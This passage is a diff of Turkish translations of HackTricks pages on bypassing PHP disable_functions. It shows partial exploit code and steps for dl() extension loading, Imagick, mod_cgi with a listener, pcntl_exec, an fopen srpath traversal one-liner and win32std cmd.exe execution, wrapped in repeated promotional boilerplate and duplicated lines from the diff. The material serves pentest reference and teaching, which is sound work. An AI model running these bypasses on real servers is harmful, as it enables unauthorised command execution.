- İlgili kısıtlamaları atlamak için `dl` işlevi kullanılır ve göreceli yollar veya süreci otomatikleştiren bir betik kullanılır.
2. **Uzantı Yükleme:**
- `dl` fonksiyonunu kullanarak, kısıtlamaları aşmak için göreceli yollar veya süreci otomatikleştiren bir script kullanır.
3. **Betik Yürütme:**
- Saldırgan, `bypass.so` ve bir PHP betiğini kurban sunucusuna yükler.
- Betik, `dl_local` işlevini kullanarak `bypass.so`'yi dinamik olarak yükler ve ardından `cmd` sorgu parametresi aracılığıyla iletilen bir komutla `bypass_exec` işlevini çağırır.
3. **Script Çalıştırma:**
- Saldırgan, `bypass.so` ve bir PHP scriptini kurbanın sunucusuna yükler.
- Script, `bypass.so`'yu dinamik olarak yüklemek için `dl_local` fonksiyonunu kullanır ve ardından `cmd` sorgu parametresi aracılığıyla geçirilen bir komut ile `bypass_exec` çağrısında bulunur.
### Komut Yürütme:
### Komut Çalıştırma:
- Saldırgan artık komutları şu şekilde çalıştırabilir: `http://www.example.com/script.php?cmd=<komut>`
- Saldırgan artık komutları şu şekilde çalıştırabilir: `http://www.example.com/script.php?cmd=<command>`
Bu ayrıntılı adım adım rehber, `dl` işlevini kötüye kullanarak sistem komutlarını çalıştırmak için özel bir PHP uzantısı oluşturma ve dağıtma sürecini açıklar. Bu, böyle bir güvenlik açığını önlemek için ideal olarak devre dışı bırakılması gereken `dl` işlevini istismar etmektedir.
Bu ayrıntılı inceleme, sistem komutlarını çalıştırmak için bir PHP uzantısı oluşturma ve dağıtma sürecini, `dl` fonksiyonunu kötüye kullanarak açıklamaktadır; bu, bu tür güvenlik ihlallerini önlemek için ideal olarak devre dışı bırakılmalıdır.
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>AWS hacklemeyi sıfırdan kahraman olmak için</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
HackTricks'ı desteklemenin diğer yolları:
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
* **Şirketinizi HackTricks'te reklamını görmek isterseniz** veya **HackTricks'i PDF olarak indirmek isterseniz** [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
* [**Resmi PEASS & HackTricks ürünlerini alın**](https://peass.creator-spring.com)
* Özel [**NFT'lerden**](https://opensea.io/collection/the-peass-family) oluşan koleksiyonumuz [**The PEASS Family'yi**](https://opensea.io/collection/the-peass-family) keşfedin
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RU
</details>
{% endhint %}

View file

@ -1,21 +1,22 @@
{% hint style="success" %}
AWS Hacking'i öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Eğitim AWS Kırmızı Takım Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Eğitim GCP Kırmızı Takım Uzmanı (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>AWS hacklemeyi sıfırdan kahraman olmaya öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong>!</strong></summary>
<summary>HackTricks'i Destekleyin</summary>
HackTricks'ı desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamını görmek isterseniz** veya **HackTricks'i PDF olarak indirmek isterseniz** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)'u **takip edin**.
* **Hacking hilelerinizi** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına **PR göndererek paylaşın**.
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'ı takip edin.**
* **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
</details>
{% endhint %}
# Imagick &lt;= 3.3.0 PHP &gt;= 5.4 Sömürüsü
# Imagick &lt;= 3.3.0 PHP &gt;= 5.4 Exploit
Kaynak: [http://blog.safebuff.com/2016/05/06/disable-functions-bypass/](http://blog.safebuff.com/2016/05/06/disable-functions-bypass/)
[http://blog.safebuff.com/2016/05/06/disable-functions-bypass/](http://blog.safebuff.com/2016/05/06/disable-functions-bypass/) adresinden
```php
# Exploit Title: PHP Imagick disable_functions Bypass
# Date: 2016-05-04
@ -65,16 +66,17 @@ $thumb->destroy();
echo file_get_contents($data_file);
?>
```
{% hint style="success" %}
AWS Hacking'i öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Eğitim AWS Kırmızı Takım Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Eğitim GCP Kırmızı Takım Uzmanı (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>AWS hacklemeyi sıfırdan kahraman olmaya kadar öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong>!</strong></summary>
<summary>HackTricks'i Destekleyin</summary>
HackTricks'ı desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamını görmek isterseniz** veya **HackTricks'i PDF olarak indirmek isterseniz** [**ABONELİK PLANLARINA**](https://github.com/sponsors/carlospolop) göz atın!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**The PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**'ı takip edin**.
* **Hacking hilelerinizi HackTricks ve HackTricks Cloud** github depolarına **PR göndererek paylaşın**.
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'i takip edin.**
* **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
</details>
{% endhint %}

View file

@ -1,21 +1,22 @@
{% hint style="success" %}
AWS Hacking'i öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Eğitim AWS Kırmızı Takım Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Eğitim GCP Kırmızı Takım Uzmanı (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>AWS hacklemeyi sıfırdan kahraman olmaya öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong>!</strong></summary>
<summary>HackTricks'i Destekleyin</summary>
HackTricks'ı desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamını görmek** veya **HackTricks'i PDF olarak indirmek** için [**ABONELİK PLANLARI'na**](https://github.com/sponsors/carlospolop) göz atın!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**The PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**'u takip edin**.
* **Hacking hilelerinizi** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına **PR göndererek paylaşın**.
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** bizi takip edin.**
* **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
</details>
{% endhint %}
# mod\_cgi
Kaynak: [http://blog.safebuff.com/2016/05/06/disable-functions-bypass/](http://blog.safebuff.com/2016/05/06/disable-functions-bypass/)
[http://blog.safebuff.com/2016/05/06/disable-functions-bypass/](http://blog.safebuff.com/2016/05/06/disable-functions-bypass/) adresinden
```php
<?php
// Only working with mod_cgi, writable dir and htaccess files enabled
@ -55,16 +56,17 @@ echo "Executing the script now. Check your listener <img src = 'shell.dizzle' st
}
?>
```
{% hint style="success" %}
AWS Hacking'i öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Eğitim AWS Kırmızı Takım Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Eğitim GCP Kırmızı Takım Uzmanı (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>AWS hacklemeyi sıfırdan kahraman olacak şekilde öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong>!</strong></summary>
<summary>HackTricks'i Destekleyin</summary>
HackTricks'i desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamını görmek isterseniz** veya **HackTricks'i PDF olarak indirmek isterseniz** [**ABONELİK PLANLARINA**](https://github.com/sponsors/carlospolop) göz atın!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**The PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**'ı takip edin**.
* **Hacking hilelerinizi** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına **PR göndererek paylaşın**.
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'ı takip edin.**
* **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
</details>
{% endhint %}

View file

@ -1,21 +1,22 @@
{% hint style="success" %}
AWS Hacking'i öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Eğitim AWS Kırmızı Takım Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Eğitim GCP Kırmızı Takım Uzmanı (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>AWS hacklemeyi sıfırdan kahraman olmaya öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong>!</strong></summary>
<summary>HackTricks'i Destekleyin</summary>
HackTricks'ı desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamını görmek** veya **HackTricks'i PDF olarak indirmek** isterseniz [**ABONELİK PLANLARINA**](https://github.com/sponsors/carlospolop) göz atın!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**'u takip edin**.
* **Hacking hilelerinizi** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına **PR göndererek paylaşın**.
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'i takip edin.**
* **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
</details>
{% endhint %}
# PHP 4 &gt;= 4.2.0, PHP 5 pcntl\_exec
Kaynak: [http://blog.safebuff.com/2016/05/06/disable-functions-bypass/](http://blog.safebuff.com/2016/05/06/disable-functions-bypass/)
[http://blog.safebuff.com/2016/05/06/disable-functions-bypass/](http://blog.safebuff.com/2016/05/06/disable-functions-bypass/) adresinden.
```php
<?php
$dir = '/var/tmp/';
@ -39,16 +40,17 @@ echo '不支持pcntl扩展';
}
?>
```
{% hint style="success" %}
AWS Hacking'i öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Eğitim AWS Kırmızı Takım Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Eğitim GCP Kırmızı Takım Uzmanı (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>AWS hacklemeyi sıfırdan kahraman seviyesine öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong>!</strong></summary>
<summary>HackTricks'i Destekleyin</summary>
HackTricks'ı desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamını görmek isterseniz** veya **HackTricks'i PDF olarak indirmek isterseniz** [**ABONELİK PLANLARINA**](https://github.com/sponsors/carlospolop) göz atın!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**The PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**'ı takip edin**.
* **Hacking hilelerinizi** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına **PR göndererek paylaşın**.
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'i takip edin.**
* **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
</details>
{% endhint %}

View file

@ -1,34 +1,36 @@
{% hint style="success" %}
AWS Hacking'i öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Eğitim AWS Kırmızı Takım Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Eğitim GCP Kırmızı Takım Uzmanı (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>AWS hacklemeyi sıfırdan kahraman olmaya öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong>!</strong></summary>
<summary>HackTricks'i Destekleyin</summary>
HackTricks'ı desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamını görmek** veya **HackTricks'i PDF olarak indirmek** için [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**The PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**'ı takip edin**.
* **Hacking hilelerinizi** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına **PR göndererek paylaşın**.
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'i takip edin.**
* **Hacking ipuçlarını paylaşmak için [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.**
</details>
{% endhint %}
# PHP 5.2 - FOpen Sömürüsü
# PHP 5.2 - FOpen Exploit
Kaynak: [http://blog.safebuff.com/2016/05/06/disable-functions-bypass/](http://blog.safebuff.com/2016/05/06/disable-functions-bypass/)
[http://blog.safebuff.com/2016/05/06/disable-functions-bypass/](http://blog.safebuff.com/2016/05/06/disable-functions-bypass/) adresinden
```php
php -r 'fopen("srpath://../../../../../../../dir/pliczek", "a");'
```
{% hint style="success" %}
AWS Hacking'i öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Eğitim AWS Kırmızı Takım Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Eğitim GCP Kırmızı Takım Uzmanı (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>AWS hacklemeyi sıfırdan kahraman seviyesine öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong>!</strong></summary>
<summary>HackTricks'i Destekleyin</summary>
HackTricks'ı desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamınızı görmek veya HackTricks'i PDF olarak indirmek** için [**ABONELİK PLANLARI'na**](https://github.com/sponsors/carlospolop) göz atın!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**The PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**'ı takip edin**.
* **Hacking hilelerinizi HackTricks ve HackTricks Cloud** github depolarına **PR göndererek paylaşın**.
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'i takip edin.**
* **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
</details>
{% endhint %}

View file

@ -1,21 +1,22 @@
{% hint style="success" %}
AWS Hacking'i öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Eğitim AWS Kırmızı Takım Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Eğitim GCP Kırmızı Takım Uzmanı (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>AWS hacklemeyi sıfırdan kahraman olmaya öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong>!</strong></summary>
<summary>HackTricks'i Destekleyin</summary>
HackTricks'ı desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamınızı görmek** veya **HackTricks'i PDF olarak indirmek** isterseniz, [**ABONELİK PLANLARINA**](https://github.com/sponsors/carlospolop) göz atın!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**'u takip edin**.
* **Hacking hilelerinizi** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına **PR göndererek paylaşın**.
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'i takip edin.**
* **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
</details>
{% endhint %}
# PHP 5.2.3 - Win32std ext Protections Bypass
# PHP 5.2.3 - Win32std ext Koruma Aşımı
Kaynak: [http://blog.safebuff.com/2016/05/06/disable-functions-bypass/](http://blog.safebuff.com/2016/05/06/disable-functions-bypass/)
[http://blog.safebuff.com/2016/05/06/disable-functions-bypass/](http://blog.safebuff.com/2016/05/06/disable-functions-bypass/) adresinden
```php
<?php
//PHP 5.2.3 win32std extension safe_mode and disable_functions protections bypass
@ -39,16 +40,17 @@ system("cmd.exe"); //just to be sure that protections work well
win_shell_execute("..\\..\\..\\..\\windows\\system32\\cmd.exe");
?>
```
{% hint style="success" %}
AWS Hacking'i öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Eğitim AWS Kırmızı Takım Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Eğitim GCP Kırmızı Takım Uzmanı (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>AWS hacklemeyi sıfırdan kahraman olmak için</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong>!</strong></summary>
<summary>HackTricks'i Destekleyin</summary>
HackTricks'ı desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamını görmek isterseniz** veya **HackTricks'i PDF olarak indirmek isterseniz** [**ABONELİK PLANLARI'na**](https://github.com/sponsors/carlospolop) göz atın!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**The PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**'ı takip edin**.
* **Hacking hilelerinizi HackTricks ve HackTricks Cloud** github depolarına **PR göndererek paylaşın**.
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'ı takip edin.**
* **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
</details>
{% endhint %}

View file

@ -1,21 +1,22 @@
{% hint style="success" %}
AWS Hacking'i öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Eğitim AWS Kırmızı Takım Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Eğitim GCP Kırmızı Takım Uzmanı (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>AWS hacklemeyi sıfırdan kahraman olmaya öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong>!</strong></summary>
<summary>HackTricks'i Destekleyin</summary>
HackTricks'ı desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamınızı görmek** veya **HackTricks'i PDF olarak indirmek** isterseniz [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
